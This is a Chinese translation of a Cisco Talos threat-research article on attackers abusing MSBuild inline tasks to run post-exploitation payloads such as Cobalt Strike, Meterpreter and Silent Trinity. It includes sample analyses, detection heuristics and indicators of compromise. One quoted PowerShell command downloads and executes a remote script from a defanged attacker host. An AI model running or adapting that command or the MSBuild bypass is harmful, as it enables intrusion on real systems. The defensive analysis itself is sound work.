一、概述

目前，离地攻击二进制文件（Living-off-the-land Binaries）仍然对安全防御人员构成威胁。在本文中，我们分析了攻击者和红队针对Microsoft Build Engine的利用情况。这些威胁在MITRE ATT&CK框架中属于T1127（受信任的开发人员实用工具）和T1500（投递后编译）。

在我们此前的一篇文章中，曾经讨论过攻击者对默认操作系统功能和其他合法可执行文件的利用，以执行所谓的“离地攻击”方法，实现攻击过程的后渗透攻击阶段。我们将这些二进制文件称为LoLBins。自此开始，Cisco Talos团队就一直针对从Cisco产品获得的遥测数据进行分析，并尝试衡量LoLBins在实际攻击中的使用情况。

具体而言，我们专注于分析将MSBuild作为后渗透攻击阶段的恶意活动。为此，我们从各种开放和闭源的数据库中收集信息，同时对提交到Cisco Threat Grid平台进行分析的样本行为进行了研究。

1.1 新的发现

我们收集了恶意的MSBuild项目配置文件，并记录了这些文件的结构，观察到其感染媒介和最终Payload。我们还将讨论所发现威胁背后的潜在恶意行为者。

1.2 工作原理

MSBuild是Microsoft Build Engine的一部分，Microsoft Build Engine是一种软件构件系统，可以按照其XML输入文件中指定的内容来构建应用程序。输入文件通常需要使用Microsoft Visual Studio创建。但是，在构建应用程序时并不需要Visual Studio，因为系统上已经存在一些.NET框架和其他编译所需的编译器。

攻击者利用了MSBuild的特性，使其能够在MSBuild配置或项目文件中包含恶意源代码。

1.3 攻击效果

如果攻击者使用MSBuild引擎，以源代码的形式包含恶意软件，显然会获得一些优势。这项攻击技术是在几年前发现，并且由Casey Smith进行了很好的证明，我们经常会看到收集的样本中包含他编写的概念证明模板。

针对这种攻击技术而言，首先，它可以用于绕过Windows Applocker等应用程序的白名单技术。另一个好处在于，代码可以在内存中进行编译，因此磁盘上不存在任何持久保留的文件，不会引起防御者的怀疑。最后，攻击者可以采用多种方法来混淆Payload，例如对变量名称进行随机化，或使用远程站点上托管的密钥对Payload进行加密，这就使得利用传统方法进行检测的方法更具挑战性。

二、攻击技术案例分析

MSBuild输入配置文件的特征之一是，开发人员可以加入一个特殊的XML标记，该标记指定一个内联任务，其中包含将由MSBuild编译并加载到内存中的源代码。

MSBuild配置文件中对内联任务的定义：

根据任务的属性，开发人员可以指定在构建项目时自动执行的新增类、方法或代码片段。

可以将源代码指定为驱动器上的外部文件。通过对项目文件和恶意源代码的解耦，可能会使MSBuild恶意执行的检测更具挑战性。

在研究过程中，我们从各种来源收集了100多个潜在的恶意MSBuild配置文件，我们分析了交付方法，并调查了最终的Payload，这些Payload通常以“与位置无关的代码”（Shellcode）的形式交付。

2.1 Shellcode分析

1、METASPLOIT

我们收集到的大部分样本，都包含使用Metafploom实用程序生成的Metasploit Meterpreter阶段Shellcode变种，其格式适合嵌入到C#语言的变量之中。通过使用zlib或GZip压缩字节数组，并将其转换为Base64编码的可打印文本，可以有效混淆Shellcode。

MSBuild配置文件中的Meterpreter阶段Shellcode示例：

我们使用一个比较方便的Shellcode分析工具——Shellcode调试器scdbg。在scdbg中，有许多用于调试Shellcode的选项。Scdbg基于开源的x86模拟库libemu，因此它仅模拟Windows环境，而不会正确分析每一个Shellcode。尽管如此，如果我们要分析大量的Shellcode样本，还是适合从这个工具入手，因为它支持生成日志文件，后续可以在聚合中使用。

当然，要分析Shellcode，我们需要将其从适用于C#语言字节数组变量的格式转换到二进制格式。如果我们经常使用基于Unix的操作系统上的终端/Shell，可能会想到首先使用默认的实用程序xxd，这个实用程序可以使用易于阅读的十六进制格式来转储二进制文件的内容。

但是，xxd还包含一个还原模式，可以将其与命令行选项-r和-p一起使用，将C#数组字节转换回二进制文件。

xxd -r -p input_text_shellcode_file output_binary_shellcode_file

xxd支持几种流行的转储格式，但并不总会产生正确的输出。关键在于，我们要检查二进制字节和Shellcode文本文件中指定的字节是否相同。

Metasploit阶段Shellcode的Scdgb API跟踪：

这里，有可以使用的scdbg编译版本，但是由于新的API模拟，最好的方式是从源代码进行编译。

2、Covenant

Covenant是一个相对较新的命令和控制框架，基于C#语言编写，它允许攻击者（或红队成员）使用包括MSBuild在内的多种感染媒介来创建Payload。MSBuild加载工具的框架代码相对简单，它采用二进制Payload，使用zlib对其进行压缩，然后将其加载到MSBuild进程空间中。

这里的Payload必须是.NET语言，才能被框架代码加载和执行。Covenant框架包含其自身的后漏洞利用植入工具集，称为Grunts。Grunts提供与C2服务器建立通信的基础结构。攻击者指定的任务会以经过混淆后的C#程序集格式发送到受感染的系统，并由Grunts加载并执行。

Covenant框架代码加载Grunt植入工具：

3、MSBuild中的NPS（Not Powershell）

NPS是一个简单的可执行文件包装实用程序，用于将System.Management.Automation和其他几个.NET程序集加载到可执行文件的处理空间中。其主要作用是尝试逃避对powershell.exe执行过程的检测，暗中执行自定义的PowerShell代码。

Nps_payload工具的开发人员对其进行了精心设计，该工具允许攻击者使用不同的机制（包括MSBuild配置工具）来创建非PowerShell Payload。这一工具会生成MSBuild项目文件，并提供用户选择的Meterpreter阶段Shellcode Payload或自定义Powershell代码Payload。

MSBuild non-PowerShell流程：

4、Cobalt Strike

尽管到目前为止，Metasploit Shellcode MSBuild Payload是最为常见的，但是我们也看到了一些使用Cobalt Strike信标作为Payload的示例。信标Shellcode具有类似于PE文件的结构，但是它被设计为手动加载到内存中，并通过调用从blob开始（紧接在MZ魔术字节之前）的Shellcode加载工具来执行。

Cobalt Strike Payload的开头：

Cobalt Strike反射加载工具：

Payload本身的长度超过200KB，因此相对容易识别。我们在后面的案例中，尝试通过使用远程网站上托管的密钥，以AES256的加密方式来对信标Payload进行更严格的加密。

5、Mimikatz

我们唯一发现比Cobalt Strike Shellcode/beacon Payload还要长的Payload，就是一个包含两个Mimikatz Payload的样本。在我们发现的样本中，使用了更为复杂的逻辑，用于将可执行文件加载到内存中，并且最终通过调用CreateThread来启动。PE加载程序的源代码可以在GitHub上得到，尽管对于这个样本，它已经在MSBuild中被使用。

MSBuild Mimikatz加载工具：

加载工具首先检查操作系统是32位还是64位，然后加载并运行Mimikatz可执行文件，可执行文件存储在变量中，并使用Base64进行编码。

2.2 典型样本分析

在过去六个月的时间里，我们通过在Cisco Threat Grid平台中搜索提交的内容，发现了三个可以进一步分析的案例。Thread Grid使用指标名称“MSBuild Process Builds with Project File (xml/csproj)”来检测尝试滥用MSBuild的样本。这个指标名称还可以用于搜索利用相同技术的其他样本。

Cisco Threat Grid中与MSBuild相关的简要说明：

样本1：Dropbox上Word文档中包含MSBuild Payload

在案例1中，攻击者利用MSBuild，在一个Word文档中部署了Payload，这个文档中显示了非常明显的虚假消息，提示用户“启用内容”以执行文档中包含的VBA宏代码。

在用户点击启用后，VBA代码将在用户的Temp文件夹中创建两个文件。第一个文件名为“expenses.xlsx”，它实际上是一个MSBuild配置XML文件，其中包含用于编译和启动Payload的恶意代码。

根据VirusTotal的结果，这个样本托管在一个可以公开访问的Dropbox文件夹中，文件名为“Candidate Resume - Morgan Stanley 202019.doc”（候选人简历-Morgan Stanley），这说明这一恶意活动是具有针对性的，或者是红队正在练习如何绕过企业的防御机制。

恶意样本截图：

恶意VBA代码在用户的临时文件夹中创建的第二个文件，其名称为“resume.doc”。这是一个无危害的诱饵Word文档，其中展现的是市场经理的简历。

无危害的诱饵文件：

Winword启动MSBuild，随后MSBuild会启动C#编译器csc.exe和cvtres.exe。

样本的Threat Grid进程树执行：

我们还可以看到，MSBuild进程正在启动Internet Explorer（iexplorer.exe）。iexplorer.exe以挂起模式启动，因此就可以将Payload（即Cobalt Strike信标）复制到其进程空间中，并通过将线程排队作为异步过程调用来启动，这是进程注入的常见技术之一。

蓝方团队应该定期检查进程之间的父子关系。在实际的案例中，如果看到winword.exe启动了MSBuild.exe进程，以及MSBuild.exe启动了iexplorer.exe进程，都应该引起警惕。

基于MSBuild进程注入的源代码：

样本2：将Excel文件用于Silent Trinity

第二个样本与第一个样本具有相似的模式。在这里，我们得到了一个Excel文件，该文件看上去包含机密的工资信息，但其中提示用户启用编辑功能才能查看到表格内容。

Excel打开时的提示：

这一恶意Excel文件包含一个VBA宏代码，简单看上去似乎并不是十分可疑，但仔细阅读后会发现，代码实际上调用了另一个函数。这个函数的开始部分没有太多可疑之处，但在最后出现了一个可疑的Wscript.Shell调用，指向在文档标题属性中包含的下一阶段加载工具URL。

VBA代码使用文档的标题（Subject）属性启动下一阶段：

文档标题属性中，包含要执行的PowerShell命令，该命令负责获取并调用下一阶段的代码：

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -w hidden -Command iex(New-Object System.Net.WebClient).DownloadString('hxxp://apb[.]sh/helloworld[.]ps1')

Helloworld.ps1将从另一个URL（hxxp://apb[.]sh/msbuild[.]xml）下载MSBuild配置并启动。最后，Helloworld.ps1从hxxp://apb[.]sh/per[.]txt下载文件，并将其保存到用户的\Start Menu\Programs\Startup\文件夹中，另存为a.bat。批处理文件a.bat将确保用户注销系统后Payload仍然存在。

下载的MSBuild配置文件似乎是有Silent Trinity .NET后漏洞利用框架生成的，它将.NET程序集Payload存储为使用zlib压缩的文件，然后使用Base64编码器进行编码。在解码后，Silent Trinity阶段工具程序集会加载来自命令和控制URL（hxxp://35[.]157[.]14[.]111，TCP/8080端口，IP地址属于Amazon AWS）的命令。

Silent Trinity的所有阶段：

Silent Trinity是一个相对较新的框架，攻击者和红队成员在获得立足点之后，可以利用这个框架开展各种攻击活动。原始的Silent Trinity植入工具称为Naga，可以解释以Boolang语言发送的命令。即使数据是通过HTTP发送的，植入工具和C2服务器之间的通信也会被加密。

针对我们所分析的样本，攻击者使用的是Naga的旧版本，该版本没有使用Boolang，而是尝试加载IronPython（用于.NET框架的Python实现）。

Silent Trinity植入工具正在加载IronPython引擎：

与任何后漏洞利用框架一样，我们难以判断这次的恶意活动是真实的恶意活动，还是由红队成员开展的模拟演练。

样本3：指向加密Cobalt Strike信标的URL

我们研究的最后一个样本，具有不同的感染链。它是从一个网页开始，该网页上托管着一家知名服装制造商G-III的员工行为准则文档。该文档是使用VB脚本编写的HTML应用程序，可以创建MSBuild配置文件，并运行MSBuild。

VB脚本HTA文件创建配置文件并调用MSBuild：

MSBuild配置文件包含一个内联任务类，该类使用外部URL检索密钥，以解密加密的嵌入式Payload。密钥存储在URL hxxp://makeonlineform[.]com/forms/228929[.]txt之中。嵌入的Payload是Cobalt Strike PowerShell加载工具，它对最终的Cobalt Strike信标进行模糊化处理，并将其加载到进程内存之中。

反混淆后的Cobalt Strike PowerShell加载工具：

在加载Cobalt Strike信标之后，HTA应用程序将浏览器导航到显示G-III行为准则的实际URL。最后，将生成的MSBuild配置文件从计算机中删除。

如果我们查看Threat Grid生成的图形化进程树，可以很容易发现MSBuild.exe进程启动PowerShell的潜在可疑事件。Mshta.exe没有被显示为MSBuild.exe的父进程，否则该进程树将看起来更加可疑。

Threat Grid中展示的HTA应用程序进程树：

寻找潜在攻击者：MSBuild遥测

作为防御者，如果根据从系统或EDR工具中获取的进程参数信息来判断其环境中的MSBuild.exe是否可疑，实际上并不是一件容易的事情。

我们回顾通过编码后的脚本调用PowerShell的过程，在该脚本中，可以通过查看命令行参数来调查实际的代码。

我们已经在所有运行AMP for Endpoints的系统中，评估了30天之内运行过MSBuild的系统所占的比例，从而帮助我们确定是否需要分析其中的任何MSBuild事件。

2020年1月，每天运行MSBuild终端的比例：

我们还查看了项目的文件名。通过这样的方式，我们可以捕获到使用默认项目文件名的攻击活动，但是由于这里的文件名可以是任意，因此我们不能期望利用这种技术捕获到所有的攻击活动。我们开展调查的另一个潜在标准是，评估在调用MSBuild时所使用的参数数量，以此来判断出是否存在可疑之处。如果仅使用了单个参数，并且这个参数是项目的名称，那么我们会认为它比较可疑。

除了参数的数量之外，防御者还应该查看运行MSBuild的文件路径。可疑的MSBuild调用很可能是C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll路径调用的子集，通常会在恶意MSBuild配置文件中将其指定为构建的程序集。

针对组织内部，可以考虑将MSBuild的父进程作为基线，同时将非常规进程（例如Visual Studio开发环境和其他软件构件框架）中的任何调用标记为“可疑”。在我们对2020年1月之前的遥测数据进行分析后，我们发现只有65个唯一的可执行文件在所有终端上作为父进程存在。在几乎每一个组织中，这个数字都应该会更低，并且更易于管理。

在向Cisco发送遥测数据的所有终端中，每天有多达2%的终端会运行MSBuild，这在任何大型组织中都无法进行详细排查。但是，如果我们将上述规则应用到这些调用MSBuild的终端上，得到的数目将是非常可观的，大概占比是五万分之一（2%乘以0.1%）。

在部署Cisco AMP for Endpoints的终端中，具有可疑MSBuild调用的终端占比：

在研究恶意样本背后的作者时，如果没有其他信息，我们很难得到可靠的结论。当然，如果是在仅有MSBuild项目文件的情况下，我们可以对源代码和Payload进行基本的分析。但是，只有通过某些行为特征进行综合分析后，我们才能够看到更多的上下文信息，并更加清楚地了解如何滥用MSBuild。

在我们的研究过程中，我们所发现的大多数Payload都使用了后漏洞利用代理，例如Meterpreter、Cobalt Strike、Silent Trinity或Covenant。从这些数据中，我们可以得到结论，攻击者似乎在获得立足点之后，希望进一步展开恶意活动，或者攻击者是正在进行渗透测试以检测系统安全程度和防御体系是否完善的红方团队。

三、总结

MSBuild是软件工程师构件.NET软件项目所不可或缺的一个工具。但是，如果将恶意代码包含在MSBuild项目文件中，将允许攻击者对其进行滥用，并且可能会提供绕过某些Windows安全机制的方法。

最后，我们的研究表明，MSBuild通常不会被商品化的恶意软件所使用。我们观察到的大多数案例中，都使用了后漏洞利用代理作为Payload的变种。然而，如果在日常的渗透测试中大量使用后漏洞利用代理，往往会使防御者产生一种错误的安全感。如果防御者经常看到Meterpreter这类工具，那么当其在网络上检测到另一个Meterpreter代理后，即使该代理是有真正的恶意攻击者部署，也有可能会忽略，就像“狼来了”的故事一样。

我们建议防御者仔细监控进程执行的命令行参数，并针对其中MSBuild父进程是Web浏览器或Microsoft Office可执行文件的事件进行深入排查。这种行为是高度可疑的，基本可以说明存在攻击事件。在设置基线后，可疑的MSBuild调用事件将会相对较少，并且易于处置，不会对安全团队的工作量产生较大影响。

在不包含软件开发人员的生产环境中，应该检查MSBuild.exe的每一次执行，以确保其使用是合法的。

四、检测途径

高级恶意软件防护（AMP）非常适合于阻止恶意威胁参与者所使用的恶意软件的执行。AMP中的漏洞利用防护可以自动保护用户免受未知攻击的侵害。

通过使用网络安全设备进行网络扫描，可以阻止对恶意网站的访问，并检测这些攻击中使用的恶意软件。

通过电子邮件安全产品，可以阻止威胁参与者在恶意活动中发送的恶意电子邮件。

下一代防火墙（NGFW）、下一代入侵防御系统（NGIPS）、Cisco ISR和Meraki MX等网络安全设备可以检测与此威胁相关的恶意活动。

AMP Threat Grid可以帮助识别恶意二进制文件。

使用安全互联网网关（SIG）可以阻止用户连接到恶意域名、IP和URL，包括用户在公司网络中和公司网络之外。

开源Snort订阅用户可以在Snort.org下载最新版本的规则，以保持规则库处于最新状态。

五、威胁指标

5.1 SHA-256

334d4bcdbd645589b3cf37895c79b3b04047020540d7464268b3be4007ad7ab1（Cobalt Strike MSBuild项目）

a4eebe193e726bb8cc2ffbdf345ffde09ab61d69a131aff6dc857b0d01dd3213（Cobalt Strike Payload）

6c9140003e30137b0780d76da8c2e7856ddb4606d7083936598d5be63d4c4c0d（Covenant MSBuild项目）

ee34c2fccc7e605487ff8bee2a404bc9fc17b66d4349ea3f93273ef9c5d20d94（Covenant Payload）

aaf43ef0765a5380036c5b337cf21d641b5836ca87b98ad0e5fb4d569977e818（Mimikatz MSBuild项目）

ef7cc405b55f8a86469e6ae32aa59f693e1d243f1207a07912cce299b66ade38（Mimikatz x86 Payload）

abb93130ad3bb829c59b720dd25c05daccbaeac1f1a8f2548457624acae5ba44（Metasploit Shellcode MSBuild项目）

ce6c00e688f9fb4a0c7568546bfd29552a68675a0f18a3d0e11768cd6e3743fd（Meterpreter阶段工具Shellcode）

a661f4fa36fbe341e4ec0b762cd0043247e04120208d6902aad51ea9ae92519e（Not Powershell MSBuild项目）

18663fccb742c594f30706078c5c1c27351c44df0c7481486aaa9869d7fa95f8（使用Cobalt Strike的Word）

35dd34457a2d8c9f60c40217dac91bea0d38e2d0d9a44f59d73fb82197aaa792（使用Silent Trinity的Excel）

5.2 URL

hxxp://apb[.]sh/helloworld[.]ps1

hxxp://apb[.]sh/msbuild[.]xml

hxxp://apb[.]sh/per[.]txt

hxxp://makeonlineform[.]com/f/c3ad6a62-6a0e-4582-ba5e-9ea973c85540/（指向Cobalt Strike URL的HTA文档）

本文翻译自：https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html如若转载，请注明原文地址：